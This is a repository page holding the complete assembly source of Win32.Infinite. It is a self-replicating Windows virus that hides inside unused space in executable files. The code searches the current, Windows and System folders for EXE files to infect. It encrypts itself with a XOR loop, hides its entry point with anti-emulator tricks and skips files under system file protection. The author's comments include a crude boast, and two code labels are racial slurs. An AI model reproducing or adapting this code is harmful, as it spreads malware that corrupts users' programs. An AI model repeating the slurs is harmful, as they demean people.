MalwareSourceCode/Win32/Win32.Infinite.asm
2020-10-10 22:07:43 -05:00

1066 lines
35 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;
;ÄÄÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄ¿
; ÚÄÜÜÜÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÙ [ Win32.Infinite Billy Belcebu/iKX ]
; ÀÄÛÛÛÄÛÛÛÛÛÛÄÄÄÛÛÛÛÛÄÄ¿ ÚÄÄÄÄÄÄ[ 1699 bytes Target - Win32 Ring3 ]ÄÄÄÄÄÄ
; ÚÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÙ ³ [ 17/07/00 - Made in Valencia, Spain ]
; ÀÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÄÄÙ
;
;
;
; [ Introduction ]
;
; Welcome to Infinite. This virus has been very rare for me, as its ambient
; of development was very odd. Well, it's my first virus using cavity tech,
; something that i thought that it was more difficult than it really was...
; I sincerely doubt that it would work in WinNT family (NT4,W2K), as i havent
; been able to test it there (Win2k has some incompatibilities with my
; 3DFX Voodoo2 and my soundcard), but i didn't wanted to change that thing of
; Win32. If it doesn't, i don't care... Blah blah blah, i've returned from my
; laaaarge VX holydays and i've just recently finished Forever and this babe.
; I hope i haven't lost my awesome code style (blah, just kidding... i don't
; have anything awesome besides the size of my dick - enormous) :)
; Oh, i almost forgot... I've realized that the cavity technique is stable
; most of the times, but it's not perfect, and i should do much more compro-
; bations before infection than the already existing ones, but i really don't
; care: Windows also has fails in its code and noone reminds it ;)
; It's not a special virus in any field, but i wanted to do some cavity stuff
; and here it is. Mwaha!
;
; [ Features ]
;
; + Cavity virus, searches for holes of zeroes or INT 3.
; + Infect files on current, WINDOWS and WINDOWS/SYSTEM directories.
; + Simple & silly 8-byte XOR encryption loop
; + Kinda simple EPO with emulator protection
; + Checks for SFC protection (if it works in Win2k...)
; + CRC32 usage (APIs, extensions...)
; + It's intended to be optimized (not too much, but enough)
;
; [ Greetings ]
;
; This time the greets will go to few ppl. From the VX scene, to StarZer0,
; Wintermute, VirusBuster, Benny, Asmodeus, LifeWire, Bumblebee, Ypsilon,
; and from outside to my best friends out there.Also to the people that tries
; to make this place we call world a much better place. You rule, guyz.
;
; [ Infinity - The song ]
;
; Mother watch your children
; The iron fist of fear is ruling our lives
; It's not too late to change the course
; We can make this world a better place to be in
;
; How much more do we want until we're satisfied?
; What happens when we have what we want?
; Acquiring more, still there's never enough
; We forget those who really are in need
; The end is near, or so they say
; Selling peace with guns
;
; Infinity - Where do we go from here?
; Infinity - Where do we go from here?
; Infinity - Where do we go?
; Infinity - Where do we go from here?
;
; Guns spitting (out the) message of peace everywhere
; Is it really that we don't care?
; See mercenaries of fear selling love
; Telling salvation comes from above
; Arrogance and fear walking hand in hand
; We must see that there's much more to life than this
;
; Mother see your children
; Make us understand to and help us to find the way
; The answers lie inside
; They are locked inside to the vault of truth of us
; It's time to spread the word around
; Be yourself and do what you want to do with your life
; Remember, you get just what you give
; You reap all what you sow
; You are in charge of your own life
;
; Infinity - Where do we go from here?
; Infinity - Where do we go from here?
; Infinity - Where do we go?
; Infinity - Where do we go from here?
;
; You make your own way
;
; ------------------------------------------
; Infinity - [ Stratovarius ] - ( Infinite )
;
; (c) 2000 Billy Belcebu/iKX [ http://beautifulpeople.cjb.net ]
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Win32.Infinite (c) 2000 Billy Belcebu/iKX º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
include host.inc ; Some nice includes
include infinite.inc
virseg segment dword use32 public'infinite'
virus_start:
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Virus code º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
infinite:
push eax ; Make some space on stack
pushad
call decrypt
encrypt_start = $
call get_delta
call SetSEH ; Set our new protection frame
mov esp,[esp+08h]
call get_delta
jmp RestoreSEH
SetSEH:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
push 05h ; ECX is the limit of pages
pop ecx
mov esi,ebp ; We put a page inside our code
call CheckImageBase ; Get our own image base
mov dword ptr [ebp+modbase-delta],esi
push 05h ; 50 pages to scan
pop ecx
mov esi,[esp+2Ch] ; Put the candidate to kernel
call CheckImageBase ; Scan backwards for it
mov dword ptr [ebp+kernel-delta],esi
lea eax,[ebp+api_list-delta] ; Let's detect all the needed
xchg eax,esi ; APIs :)
lea edi,[ebp+api_addresses-delta]
call GetAPIs
; Virus is now initialized, let's search for objectives.
lea edi,[ebp+current_dir-delta] ; Save current directory to
push edi ; a temp variable
push 7Fh
apicall GetCurrentDirectoryA
lea edi,[ebp+infect_dir-delta]
push 7Fh
push edi
apicall GetWindowsDirectoryA
call SetDir&Infect
lea edi,[ebp+infect_dir-delta]
push 7Fh
push edi
apicall GetSystemDirectoryA
call SetDir&Infect
lea edi,[ebp+current_dir-delta]
push edi
apicall SetCurrentDirectoryA
call Seek&Infect
; Now let's unprotect the memory where the epo bytes will be restored
call hh&l ; Hunting high & low :)
dq ?
hh&l: push 04h ; PAGE_READWRITE
push epo_bytes
mov eax,dword ptr [ebp+rethost-delta]
add eax,dword ptr [ebp+modbase-delta]
push eax
apicall VirtualProtect
; Now it's time to go away ;)
RestoreSEH:
xor edx,edx ; Restore the original SEH
pop dword ptr fs:[edx]
pop edx
mov edi,(offset host-400000h)
rethost equ $-4
add edi,12345678h
modbase equ $-4
mov [esp.20h],edi
call over0
sebes db epo_bytes dup (90h)
over0: pop esi
push epo_bytes
pop ecx
rep movsb
popad
ret
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Mark of the virus º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
db 0,"Win32.Infinite (c) 2000 Billy Belcebu/iKX",0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Search for files to infect º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
SetDir&Infect:
lea edi,dword ptr [ebp+infect_dir-delta]
push edi
apicall SetCurrentDirectoryA
Seek&Infect:
lea eax,[ebp+WFD-delta] ; Search for files
push eax
call over3
db "*.*",0 ; Search for all files
over3: apicall FindFirstFileA
mov dword ptr [ebp+SearchHandle-delta],eax
inc eax
jz FailOccured
SearchForMore:
push dword ptr [ebp+modbase-delta] ; Preserve untouchable info
push dword ptr [ebp+rethost-delta]
lea edi,[(ebp.WFD.szFileName)-delta]; Is the file found factible
push edi ; of being infected?
call ProcessExtension
pop edi
jecxz NotThisTime ; Nopes.
call InfectPE
NotThisTime:
pop dword ptr [ebp+rethost-delta] ; Restore this interesting
pop dword ptr [ebp+modbase-delta] ; info
lea edi,[(ebp.WFD.szFileName)-delta]; Fill this with zeroes
mov ecx,260
xor al,al
rep stosb
lea eax,[ebp.WFD-delta] ; Search for more little
push eax ; suckers
push dword ptr [ebp+SearchHandle-delta]
apicall FindNextFileA
or eax,eax
jnz SearchForMore
CloseSearchHandle:
push dword ptr [ebp+SearchHandle-delta]
apicall FindClose
FailOccured:
ret
ProcessExtension:
; input:
; EDI - Pointer to file name
; output:
; ECX - NULL if it is not an extension; 1 if it is.
xor al,al ; Search for NULL
scasb
jnz $-1
lea esi,[edi-5] ; Get the extension :)
push 05h ; Size to calculate CRC32
pop edi
or dword ptr [esi],20202020h ; Make locase the lewsers
call CRC32
cmp eax,0F643C743h ; Only EXE files
jz ItWasExtension
dec edx
ItWasExtension:
inc edx
mov ecx,edx
ret
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º PE Infection Engine º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
InfectPE:
; input:
; EDI - Pointer to filename to infect
; output:
; Nothing.
cmp dword ptr [ebp+SfcIsFileProtected-delta],00h
jz NotInWin2k
push edi ; Win2k ability: it has feature
push 00h ; that warns the user if an
apicall SfcIsFileProtected ; important file is being
; modified. If the file has
or eax,eax ; such protection, we won't
jnz ExitInfectPE ; touch it, ok? ;)
NotInWin2k:
push 80h ; Destroy hostile attributes
push edi ; and put normal ones
apicall SetFileAttributesA
xor eax,eax ; Open file for R/W
push eax
push eax
push 03h ; OPEN_EXISTING flag
push eax
inc eax
push eax
push 0C0000000h ; READ / WRITE
push edi
apicall CreateFileA
inc eax
jz ExitInfectPE
dec eax
mov dword ptr [ebp+FileHandle-delta],eax
; Save handle of opened file
push eax
push 00h
push eax
apicall GetFileSize ; Get its size
mov dword ptr [ebp+OriginalSize-delta],eax
pop ecx ; ECX = Handle
xor ebx,ebx ; EBX = 0
push ebx
push 00h ; push size
push ebx
push 04h
push ebx
push ecx ; push handle
apicall CreateFileMappingA
or eax,eax
jz CloseFileExitInfectPE
mov dword ptr [ebp+MapHandle-delta],eax
xor ebx,ebx
push 00h ; We want map only file size
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile
or eax,eax
jz UnMap&CloseMap&FileExitInfectPE
mov dword ptr [ebp+MapAddress-delta],eax
mov esi,[eax+3Ch] ; Ptr to PE header =]
add esi,eax
mov dword ptr [ebp+PtrPEH-delta],esi
cmp word ptr [esi],"EP" ; Check for PE mark
jnz Trunc&UnMap&CloseMap&FileExitInfectPE
cmp dword ptr [esi.MagicInfection],inf_mark
jz Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for previous infection
cmp word ptr [esi.Machine],014Ch
jnz Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for i386 ;)
cmp dword ptr [ebp.WFD.nFileSizeHigh-delta],00h
jne Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow huge & ugly files
cmp dword ptr [ebp.WFD.nFileSizeLow-delta],4000h
jb Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow too little files
mov eax,[esi.EntrypointRVA] ; EAX = Old file's EIP
mov dword ptr [ebp+rethost-delta],eax
mov edi,esi
add esi,0F8h-28h ; Pointer to 1st section-28h
nigger: add esi,28h ; Ptr to section name ;)
mov edx,eax ; Put in EDX the original EIP
sub edx,[esi.VirtualAddress] ; Remove the VirtualAddress
cmp edx,[esi.VirtualSize] ; Is EIP pointing to this sec?
jae nigger ; If not, loop again
mov ebx,dword ptr [ebp+MapAddress-delta]
pushad
push dword ptr [esi.SizeOfRawData] ; Some tricky thing :)
pop dword ptr [esi.VirtualSize]
mov eax,[ebp+rethost-delta]
add eax,ebx
mov dword ptr [ebp+tempshit-delta],eax
popad
add ebx,[esi.PtrToRawData]
add edx,ebx
mov esi,edx ; ESI - Pointer to section
mov dword ptr [ebp+EPofs-delta],esi ; mapped in mem where da EP is.
mov ebx,dword ptr [ebp+OriginalSize-delta] ; Search limit
mov ecx,heap_end-virus_start+security ; How many space do we need
call SeekForHoles
jc ThereWasNoHole
pushad
sub eax,dword ptr [ebp+MapAddress-delta]
mov esi,dword ptr [ebp+PtrPEH-delta]
mov edi,esi ; We wanna put some attribs
add esi,0F8h-28h ; to the section where the
niggr2: add esi,28h ; virus code is located, so
mov edx,eax ; we've to search for it :)
sub edx,[esi.VirtualAddress]
cmp edx,[esi.VirtualSize]
jae niggr2
; EAX = Ptr to hole
mov dword ptr [ebp+inf_switch-delta],00h
; Let's check if we can put ourselves inside the hole (more security)
mov edx,[esi.VirtualAddress]
add edx,[esi.VirtualSize]
add eax,((heap_end-virus_start)+security)
sub edx,eax
js wecantinfectthere
mov dword ptr [ebp+inf_switch-delta],01h
or [esi.Characteristics],0A0000020h ; PUT IT SUCKA!
wecantinfectthere:
popad
mov ecx,12345678h
org $-4
inf_switch dd ?
or ecx,ecx
jz Trunc&UnMap&CloseMap&FileExitInfectPE
lea esi,[ebp+virus_start-delta]
mov edi,eax
add edi,security ; Some security :)
pushad
mov eax,12345678h ; Let's calculate where the
tempshit = $-4 ; jmp must point to
add eax,(killemu-epo)
sub edi,eax
mov dword ptr [ebp+jmpadd-delta],edi
popad
mov ecx,virus_size
rep movsb
; Encrypt with a silly l00p
pushad
sub edi,virus_end-encrypt_start
mov esi,edi
call random
mov bl,al
mov byte ptr [edi+enc_key-encrypt_start],bl
mov byte ptr [ebp+enc_k3y-delta],bl
mov ecx,encrypt_end-encrypt_start
enc_l00p:
lodsb
xor al,bl
stosb
loop enc_l00p
popad
pushad
sub edi,(virus_size-(sebes-virus_start))
mov esi,dword ptr [ebp+EPofs-delta]
push epo_bytes
pop ecx
pushad
lewpit:
lodsb ; Store EPO bytes also
xor al,00h ; encrypted
enc_k3y = $-1
stosb
loop lewpit
popad
xchg edi,esi
call over69
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
epo: call killemu ;³ This code will give the control to the
mov esp,[esp+08h] ;³ virus and avoid the scanning of emulators
xor edx,edx ;³ at the same time :)
pop dword ptr fs:[edx]
pop edx
db 0E9h
jmpadd: dd ?
killemu:xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
div edx
epo_bytes = $-epo
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
over69: pop esi
rep movsb
popad
mov esi,dword ptr [ebp+PtrPEH-delta]
mov dword ptr [esi.MagicInfection],inf_mark ; Put inf. mark
; Fix checksum if needed
add esi,58h
cmp dword ptr [esi],00h
jz Trunc&UnMap&CloseMap&FileExitInfectPE
push esi ; Pointer to CheckSum field
call n4t4s
dd ? ; Where store old CheckSum
n4t4s: push dword ptr [ebp+OriginalSize-delta]
push dword ptr [ebp+MapAddress-delta]
apicall CheckSumMappedFile
ThereWasNoHole:
Trunc&UnMap&CloseMap&FileExitInfectPE:
UnMap&CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapAddress-delta]
apicall UnmapViewOfFile
CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapHandle-delta]
apicall CloseHandle
CloseFileExitInfectPE:
push dword ptr [ebp+FileHandle-delta]
apicall CloseHandle
ExitInfectPE:
ret
SeekForHoles:
; input:
; ESI - Pointer inside file (in PE header)
; ECX - How many space do we need
; EBX - Search limit
; output:
; EAX - Pointer to the beginning of the shit
; CF - Set if error (couldn't find hole)
call SetSEH1
mov esp,[esp+08h] ; Just for security of
call get_delta ; scanning :)
jmp NSE_
SetSEH1:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
push esi
GetAnotherByte:
xor edx,edx ; Clear counter :)
GAB2: dec ebx ; Check if we arrived until
jz NoShitEnough ; the limit (run away if so)
lodsb
or al,al ; NULL byte?
jz IsFillByte
cmp al,0CCh ; Int 3? (VC6 filez're full
jnz GetAnotherByte ; of them)
IsFillByte:
inc edx ; Increase counter
cmp ecx,edx
jnz GAB2
WeFoundManyShit:
sub esi,ecx ; ESI = Point to shit
xchg eax,esi
pop esi
pop dword ptr fs:[00h]
pop edx
ret
NoShitEnough:
pop esi
NSE_: stc
pop dword ptr fs:[00h]
pop edx
ret
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º APICRC32 Search Engine º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
GetAPIs proc
; input:
; EAX - Base address of the library where search the APIs
; ESI - Pointer to an array of CRC32 of the APIs we want to search
; EDI - Pointer to where store the APIs
; output:
; Nothing.
push eax ; EAX = Handle of module
pop dword ptr [ebp+TmpModuleBase-delta]
APIS33K:
lodsd ; Get in EAX the CRC32 of API
push esi edi
call GetAPI_ET_CRC32
pop edi esi
stosd ; Save in [EDI] the API address
cmp byte ptr [esi],0BBh ; There are more APIs in this
jnz APIS33K ; library
inc esi ; Check if it's the last of
cmp byte ptr [esi],"" ; all them
jz EndOfAPISearch
push esi ; ESI points now to the ASCIIz
apicall LoadLibraryA ; string of a library... We
; need to load it!
push eax
nxtchr: lodsb ; Reach the end of the lib
test al,al ; asciiz name
jnz nxtchr
pop eax
jmp GetAPIs
EndOfAPISearch:
ret
GetAPIs endp
GetAPI_ET_CRC32 proc
; input:
; EAX - CRC32 of the API we want to know its address
; output:
; EAX - API address, NULL if error
xor edx,edx
pushad
call over_APICRC32_SEH
mov esp,[esp+08h] ; Set stack as before
xor eax,eax ; signalize the error
jmp Remove_APICRC32_SEH
over_APICRC32_SEH:
push dword ptr fs:[edx] ; Set new SEH frame
mov dword ptr fs:[edx],esp
xchg eax,edx ; Put CRC32 of da api in EDX
mov dword ptr [ebp+Counter-delta],eax ; Clear this field :)
push 3Ch
pop esi
add esi,[ebp+TmpModuleBase-delta] ; Get PE header of module
lodsw
add eax,[ebp+TmpModuleBase-delta] ; Normalize
push 1Ch
pop esi
add esi,[eax+78h] ; Get a pointer to its edata
add esi,[ebp+TmpModuleBase-delta]
lea edi,[ebp+AddressTableVA-delta] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+TmpModuleBase-delta] ; Normalize
stosd ; And store in its variable
lodsd ; Get NameTable value
add eax,[ebp+TmpModuleBase-delta] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable
lodsd ; Get OrdinalTable value
add eax,[ebp+TmpModuleBase-delta] ; Normalize
stosd ; Store
pop esi ; ESI = NameTable VA
@?_3: lodsd ; Get pointer to an API name
push esi ; Save again
add eax,[ebp+TmpModuleBase-delta] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX
push edi ; Save EDI
xor al,al
scasb
jnz $-1
pop esi ; ESI = Pointer to API Name
sub edi,ebx ; EDI = API Name size
push edx ; Save API's CRC32
call CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it
pop esi ; Restore ptr to api name
inc dword ptr [ebp+Counter-delta] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
mov eax,12345678h ; Put in EAX the number that
Counter = $-4 ; the API occupy in list.
shl eax,1 ; *2 (it's an array of words)
add eax,[ebp+OrdinalTableVA-delta] ; Normalize
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
cwde ; Clear MSW of EAX
shl eax,2 ; And with it we go to the
add eax,[ebp+AddressTableVA-delta] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+TmpModuleBase-delta] ; and normalize!! That's it!
Remove_APICRC32_SEH:
xor edx,edx ; Remove that SEH frame
pop dword ptr fs:[edx]
pop edx
mov [esp.1Ch],eax
popad
ret
GetAPI_ET_CRC32 endp
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Subroutines º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
CRC32:
; input:
; ESI - Pointer to the data to process
; EDI - Size of such data
; output:
; EAX - CRC32 of that data
cld
pushad
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
not edx
not ecx
xchg eax,edx
rol eax,10h
mov ax,cx
mov [esp.PUSHAD_EAX],eax
popad
ret
CheckImageBase:
; input:
; ESI - Address inside module
; ECX - Limit
; output:
; ESI - module address
and esi,0FFFF0000h
cmp word ptr [esi],"ZM"
jz ItWasKewlEnough
NotCoolAddress:
sub esi,00010000h
loop CheckImageBase
ItWasKewlEnough:
ret
random:
; input:
; Nothing.
; output:
; EAX - Random number
apicall GetTickCount
xor eax,12345678h
org $-4
seed dd -1
mov dword ptr [ebp+seed-delta],eax
ret
; Let's save some bytes ;)
get_delta:
call delta ; Get a relative address from
delta: pop ebp ; when calculate offsets
ret
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Virus Data º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
api_list = $
; db "KERNEL32",0 ; Don't needed
@VirtualProtect dd 079C3D4BBh
@FindFirstFileA dd 0AE17EBEFh
@FindNextFileA dd 0AA700106h
@FindClose dd 0C200BE21h
@CreateFileA dd 08C892DDFh
@SetFileAttributesA dd 03C19E536h
@CloseHandle dd 068624A9Dh
@GetCurrentDirectoryA dd 0EBC6C18Bh
@SetCurrentDirectoryA dd 0B2DBD7DCh
@GetWindowsDirectoryA dd 0FE248274h
@GetSystemDirectoryA dd 0593AE7CEh
@CreateFileMappingA dd 096B2D96Ch
@MapViewOfFile dd 0797B49ECh
@UnmapViewOfFile dd 094524B42h
@SetEndOfFile dd 059994ED6h
@GetFileSize dd 0EF7D811Bh
@SetFilePointer dd 085859D42h
@GetSystemTime dd 075B7EBE8h
@LoadLibraryA dd 04134D1ADh
@FreeLibrary dd 0AFDF191Fh
@GlobalAlloc dd 083A353C3h
@GlobalFree dd 05CDF6B6Ah
@WriteFile dd 021777793h
@GetProcAddress dd 0FFC97C1Fh
@GetTickCount dd 0613FD7BAh
db 0BBh
db "IMAGEHLP",0
@CheckSumMappedFile dd 078B31744h
db 0BBh
db "SFC",0
@SfcIsFileProtected dd 06DE8F7ABh
db 0BBh
; That's the end, my friend...
db ""
encrypt_end = $
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Simple decryption l00p :) º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
decrypt:
pop esi
mov edi,esi
mov ecx,encrypt_end-encrypt_start
mov bl,00h
enc_key = $-1
dec_l00p:
lodsb
xor al,bl
stosb
loop dec_l00p
jmp encrypt_start
virus_end = $
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Virus Data in the heap º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
kernel dd ?
TmpModuleBase dd ?
AddressTableVA dd ?
NameTableVA dd ?
OrdinalTableVA dd ?
OriginalSize dd ?
SearchHandle dd ?
FileHandle dd ?
MapHandle dd ?
MapAddress dd ?
PtrPEH dd ?
EPofs dd ?
api_addresses = $
; KERNEL32 APIs
VirtualProtect dd ?
FindFirstFileA dd ?
FindNextFileA dd ?
FindClose dd ?
CreateFileA dd ?
SetFileAttributesA dd ?
CloseHandle dd ?
GetCurrentDirectoryA dd ?
SetCurrentDirectoryA dd ?
GetWindowsDirectoryA dd ?
GetSystemDirectoryA dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetEndOfFile dd ?
GetFileSize dd ?
SetFilePointer dd ?
GetSystemTime dd ?
LoadLibraryA dd ?
FreeLibrary dd ?
GlobalAlloc dd ?
GlobalFree dd ?
WriteFile dd ?
GetProcAddress dd ?
GetTickCount dd ?
; IMAGEHLP APIs
CheckSumMappedFile dd ?
; SFC APIs
SfcIsFileProtected dd ?
; Other datas
WFD WIN32_FIND_DATA <?>
infect_dir db 7Fh dup (?)
current_dir db 7Fh dup (?)
heap_end = $
virseg ends
end infinite
;------------------------------[ INFINITE.INC ]------------------------------;
;****************************************************************************
;** This is the include file for the constant and macros of the virus **
;****************************************************************************
; Constants
virus_size = virus_end-virus_start
total_size = heap_end-virus_start
inf_mark = "AIAG"
security = 20d ; Very important
PUSHAD_EDI = 00h
PUSHAD_ESI = 04h
PUSHAD_EBP = 08h
PUSHAD_ESP = 0Ch
PUSHAD_EBX = 10h
PUSHAD_EDX = 14h
PUSHAD_ECX = 18h
PUSHAD_EAX = 1Ch
; Some PE header stuff
MagicPE = 00h
Machine = 04h
NumberOfSections= 06h
EntrypointRVA = 28h
CodeRVA = 2Ch
FileAlignment = 3Ch
MagicInfection = 4Ch
SizeOfImage = 50h
CheckSum = 58h
PECharacteristics= 5Eh
DirEntryReloc = 0A0h
; Some section header fields
SectionName = 00h
VirtualSize = 08h
VirtualAddress = 0Ch
SizeOfRawData = 10h
PtrToRawData = 14h
PtrToReloc = 18h
NumOfReloc = 20h
Characteristics = 24h
; Macros
apicall macro api2call
call dword ptr [ebp+api2call-delta]
endm
; Structures
WIN32_FIND_DATA struc
dwFileAttributes dd ?
ftCreationTime dq ?
ftLastAccessTime dq ?
ftLastWriteTime dq ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
szFileName db 260 dup (?)
szAlternateFileName db 13 dup (?)
db 03 dup (?)
WIN32_FIND_DATA ends
;-------------------------------[ HOST.INC ]--------------------------------;
;****************************************************************************
;** This is the host for the first generation **
;****************************************************************************
.586p
.model flat,stdcall
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
_DATA segment dword use32 public 'DATA'
szTtl db "Win32.Infinite",0
szMsg db "Size "
db virus_size/1000 mod 10 + "0"
db virus_size/0100 mod 10 + "0"
